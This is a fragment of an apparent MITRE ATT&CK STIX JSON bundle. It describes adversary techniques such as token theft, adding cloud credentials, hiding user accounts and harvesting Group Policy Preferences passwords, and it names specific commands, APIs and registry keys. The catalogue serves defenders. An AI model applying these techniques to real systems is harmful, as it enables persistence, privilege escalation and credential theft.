                    "source_name": "FireEye APT29",
                    "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved November 17, 2024.",
                    "url": "https://services.google.com/fh/files/misc/rpt-apt29-hammertoss-stealthy-tactics-define-en.pdf"
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                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
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            "name": "Web Services",
            "description": "Adversaries may register for web services\u00a0that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566). Using common services, such as those offered by Google, GitHub, or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: FireEye APT29)(Citation: Hacker News GitHub Abuse 2024) By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.",
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            "created": "2019-09-04T15:54:25.684Z",
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                    "url": "https://attack.mitre.org/techniques/T1528",
                    "external_id": "T1528"
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                {
                    "source_name": "Amnesty OAuth Phishing Attacks, August 2019",
                    "description": "Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019.",
                    "url": "https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/"
                },
                {
                    "source_name": "SpecterOps Managed Identity 2022",
                    "description": "Andy Robbins. (2022, June 6). Managed Identity Attack Paths, Part 1: Automation Accounts. Retrieved March 18, 2025.",
                    "url": "https://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c"
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                {
                    "source_name": "Auth0 Understanding Refresh Tokens",
                    "description": "Auth0 Inc.. (n.d.). Understanding Refresh Tokens. Retrieved November 17, 2024.",
                    "url": "https://auth0.com/learn/refresh-tokens"
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                {
                    "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019",
                    "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.",
                    "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/"
                },
                {
                    "source_name": "Cider Security Top 10 CICD Security Risks",
                    "description": "Daniel Krivelevich and Omer Gil. (n.d.). Top 10 CI/CD Security Risks. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20220316130828/https://www.cidersecurity.io/top-10-cicd-security-risks/"
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                {
                    "source_name": "Trend Micro Pawn Storm OAuth 2017",
                    "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks"
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                {
                    "source_name": "Kubernetes Service Accounts",
                    "description": "Kubernetes. (2022, February 26). Configure Service Accounts for Pods. Retrieved April 1, 2022.",
                    "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
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                {
                    "source_name": "Entra Managed Identities 2025",
                    "description": "Microsoft Entra. (2025, February 27). How to use managed identities for Azure resources on an Azure VM to acquire an access token. Retrieved March 18, 2025.",
                    "url": "https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token"
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                {
                    "source_name": "Microsoft - Azure AD Identity Tokens - Aug 2019",
                    "description": "Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens"
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                {
                    "source_name": "Microsoft - Azure AD App Registration - May 2019",
                    "description": "Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app"
                },
                {
                    "source_name": "Microsoft - OAuth Code Authorization flow - June 2019",
                    "description": "Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow"
                },
                {
                    "source_name": "Microsoft Identity Platform Protocols May 2019",
                    "description": "Microsoft. (n.d.). Retrieved September 12, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols"
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            "name": "Steal Application Access Token",
            "description": "Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019)  Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.\n\nFor example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container\u2019s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts)  \n\nSimilarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment.(Citation: Cider Security Top 10 CICD Security Risks) If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges. \n\nIn Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication.(Citation: Entra Managed Identities 2025)(Citation: SpecterOps Managed Identity 2022)\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nApplication access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user.  ",
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                {
                    "source_name": "ACSC Email Spoofing",
                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
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                    "source_name": "Sophos Attachment",
                    "description": "Ducklin, P. (2020, October 2). Serious Security: Phishing without links \u2013 when phishers bring along their own web pages. Retrieved October 20, 2020.",
                    "url": "https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/"
                },
                {
                    "source_name": "Huntress HTML Smuggling 2024",
                    "description": "Matt Kiely. (2024, July 5). Smuggler\u2019s Gambit: Uncovering HTML Smuggling Adversary in the Middle Tradecraft. Retrieved March 18, 2025.",
                    "url": "https://www.huntress.com/blog/smugglers-gambit-uncovering-html-smuggling-adversary-in-the-middle-tradecraft"
                },
                {
                    "source_name": "Microsoft Anti Spoofing",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
                },
                {
                    "source_name": "GitHub Phishery",
                    "description": "Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.",
                    "url": "https://github.com/ryhanson/phishery"
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            "name": "Spearphishing Attachment",
            "description": "Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email. In some cases, they may rely upon the recipient populating information, then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. In other cases, adversaries may leverage techniques such as [HTML Smuggling](https://attack.mitre.org/techniques/T1027/006) to harvest user credentials via fake login portals.(Citation: Huntress HTML Smuggling 2024)\n\nAdversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",
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            "type": "attack-pattern",
            "id": "attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd",
            "created": "2020-01-19T16:10:15.008Z",
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                    "url": "https://attack.mitre.org/techniques/T1098/001",
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                {
                    "source_name": "Crowdstrike AWS User Federation Persistence",
                    "description": " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.",
                    "url": "https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/"
                },
                {
                    "source_name": "Expel IO Evil in AWS",
                    "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.",
                    "url": "https://expel.io/blog/finding-evil-in-aws/"
                },
                {
                    "source_name": "SpecterOps Azure Privilege Escalation",
                    "description": "Andy Robbins. (2021, October 12). Azure Privilege Escalation via Service Principal Abuse. Retrieved April 1, 2022.",
                    "url": "https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5"
                },
                {
                    "source_name": "Demystifying Azure AD Service Principals",
                    "description": "Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020.",
                    "url": "https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/"
                },
                {
                    "source_name": "Lacework AI Resource Hijacking 2024",
                    "description": "Detecting AI resource-hijacking with Composite Alerts. (2024, June 6). Lacework Labs. Retrieved July 1, 2024.",
                    "url": "https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts"
                },
                {
                    "source_name": "GCP SSH Key Add",
                    "description": "Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020.",
                    "url": "https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add"
                },
                {
                    "source_name": "Permiso Scattered Spider 2023",
                    "description": "Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.",
                    "url": "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud"
                },
                {
                    "source_name": "Blue Cloud of Death Video",
                    "description": "Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019.",
                    "url": "https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815"
                },
                {
                    "source_name": "Blue Cloud of Death",
                    "description": "Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019.",
                    "url": "https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1"
                },
                {
                    "source_name": "Microsoft Entra ID App Passwords",
                    "description": "Microsoft. (2023, October 23). Enforce Microsoft Entra multifactor authentication with legacy applications using app passwords. Retrieved May 28, 2024.",
                    "url": "https://learn.microsoft.com/en-us/entra/identity/authentication/howto-mfa-app-passwords"
                },
                {
                    "source_name": "Microsoft SolarWinds Customer Guidance",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
                },
                {
                    "source_name": "Mandiant APT42 Operations 2024",
                    "description": "Ofir Rozmann, Asli Koksal, Adrian Hernandez, Sarah Bock, and Jonathan Leathery. (2024, May 1). Uncharmed: Untangling Iran's APT42 Operations. Retrieved May 28, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations"
                },
                {
                    "source_name": "Expel Behind the Scenes",
                    "description": "S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020.",
                    "url": "https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/"
                },
                {
                    "source_name": "Sysdig ScarletEel 2.0",
                    "description": "SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved July 12, 2023.",
                    "url": "https://sysdig.com/blog/scarleteel-2-0/"
                },
                {
                    "source_name": "Rhino Security Labs AWS Privilege Escalation",
                    "description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.",
                    "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
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            "name": "Additional Cloud Credentials",
            "description": "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\n\nAdversaries may also use the <code>CreateAccessKey</code> API in AWS or the <code>gcloud iam service-accounts keys create</code> command in GCP to add access keys to an account. Alternatively, they may use the <code>CreateLoginProfile</code> API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account\u2019s API credentials are deactivated.\n(Citation: Crowdstrike AWS User Federation Persistence)\n\nIn Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42 Operations 2024) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user\u2019s primary password is reset.(Citation: Microsoft Entra ID App Passwords)",
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                {
                    "source_name": "Krebs Discord Bookmarks 2023",
                    "description": "Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024.",
                    "url": "https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/"
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                {
                    "source_name": "Reliaquest-execution",
                    "description": "Reliaquest. (2024, May 31). New Execution Technique in ClearFake Campaign. Retrieved August 2, 2024.",
                    "url": "https://www.reliaquest.com/blog/new-execution-technique-in-clearfake-campaign/"
                },
                {
                    "source_name": "Telephone Attack Delivery",
                    "description": "Selena Larson, Sam Scholten, Timothy Kromphardt. (2021, November 4). Caught Beneath the Landline: A 411 on Telephone Oriented Attack Delivery. Retrieved January 5, 2022.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery"
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                {
                    "source_name": "Talos Roblox Scam 2023",
                    "description": "Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game \u201cRoblox\u201d. Retrieved January 2, 2024.",
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                {
                    "source_name": "proofpoint-selfpwn",
                    "description": "Tommy Madjar, Dusty Miller, Selena Larson. (2024, June 17). From Clipboard to Compromise: A PowerShell Self-Pwn. Retrieved August 2, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn"
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            "description": "An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\n\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\n\nAdversaries may also deceive users into performing actions such as:\n\n* Enabling [Remote Access Tools](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary\n* Running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)s(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)\n* Downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204)\n* Coerceing users to copy, paste, and execute malicious code manually(Citation: Reliaquest-execution)(Citation: proofpoint-selfpwn)\n\nFor example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Tools](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)",
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                {
                    "source_name": "Varonis",
                    "description": "Jason Hill. (2023, February 8). VMware ESXi in the Line of Ransomware Fire. Retrieved March 26, 2025.",
                    "url": "https://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire"
                },
                {
                    "source_name": "Novetta Blockbuster Destructive Malware",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160303200515/https:/operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
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                    "source_name": "Novetta Blockbuster",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
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                {
                    "source_name": "Cybereason OSX Pirrit",
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                {
                    "source_name": "FireEye SMOKEDHAM June 2021",
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                    "description": "Ji Mingkui. (2021, June 17). How to Hide All The User Accounts in Ubuntu 20.04, 21.04 Login Screen. Retrieved March 15, 2022.",
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            "description": "Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users. \n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value <code>Hide500Users</code> to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the <code>Hide500Users</code> key value is set to <code>TRUE</code>, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the <code>dscl</code> utility to create hidden user accounts by setting the <code>IsHidden</code> attribute to <code>1</code>. Adversaries can also hide a user\u2019s home folder by changing the <code>chflags</code> to hidden.(Citation: Apple Support Hide a User Account) \n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList</code> Registry key value to <code>0</code> for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the <code>gsettings</code> command (ex: <code>sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true</code>).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary.",
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            "x_mitre_contributors": [
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            "type": "attack-pattern",
            "id": "attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819",
            "created": "2020-02-18T18:03:37.481Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1134/003",
                    "external_id": "T1134.003"
                },
                {
                    "source_name": "LogonUserW function",
                    "description": "Microsoft. (2023, March 10). LogonUserW function (winbase.h). Retrieved January 8, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw"
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            "description": "Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function.(Citation: LogonUserW function) The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.\n\nThis behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one.",
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            "id": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e",
            "created": "2020-02-11T18:43:06.253Z",
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                    "url": "https://attack.mitre.org/techniques/T1552/006",
                    "external_id": "T1552.006"
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                {
                    "source_name": "Obscuresecurity Get-GPPPassword",
                    "description": "Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018.",
                    "url": "https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html"
                },
                {
                    "source_name": "Microsoft GPP 2016",
                    "description": "Microsoft. (2016, August 31). Group Policy Preferences. Retrieved March 9, 2020.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)"
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                {
                    "source_name": "Microsoft GPP Key",
                    "description": "Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018.",
                    "url": "https://msdn.microsoft.com/library/cc422924.aspx"
                },
                {
                    "source_name": "ADSecurity Finding Passwords in SYSVOL",
                    "description": "Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.",
                    "url": "https://adsecurity.org/?p=2288"
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            "name": "Group Policy Preferences",
            "description": "Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)\n\nThese group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit\u2019s post exploitation module: <code>post/windows/gather/credentials/gpp</code>\n* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: <code>dir /s * .xml</code>\n",
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            "type": "attack-pattern",
            "id": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1196",
                    "external_id": "T1196"
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                {
                    "source_name": "Microsoft Implementing CPL",
                    "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"
                },
                {
                    "source_name": "TrendMicro CPL Malware Jan 2014",
                    "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.",
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
                },
                {
                    "source_name": "TrendMicro CPL Malware Dec 2013",
                    "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/"
                },
                {
                    "source_name": "Palo Alto Reaver Nov 2017",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
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            "name": "Control Panel Items",
            "description": "Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.",
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                    "phase_name": "stealth"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "created": "2020-03-15T15:34:30.767Z",
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                    "url": "https://attack.mitre.org/techniques/T1048/002",
                    "external_id": "T1048.002"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "id": "attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe",
            "created": "2020-02-21T21:08:36.570Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1087/004",
                    "external_id": "T1087.004"
                },
                {
                    "source_name": "AWS List Roles",
                    "description": "Amazon. (n.d.). List Roles. Retrieved August 11, 2020.",
                    "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html"
                },
                {
                    "source_name": "AWS List Users",
                    "description": "Amazon. (n.d.). List Users. Retrieved August 11, 2020.",
                    "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html"
                },
                {
                    "source_name": "Black Hills Red Teaming MS AD Azure, 2018",
                    "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.",
                    "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/"
                },
                {
                    "source_name": "Google Cloud - IAM Servie Accounts List API",
                    "description": "Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.",
                    "url": "https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list"
                },
                {
                    "source_name": "Microsoft AZ CLI",
                    "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
                    "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"
                },
                {
                    "source_name": "Microsoft msolrolemember",
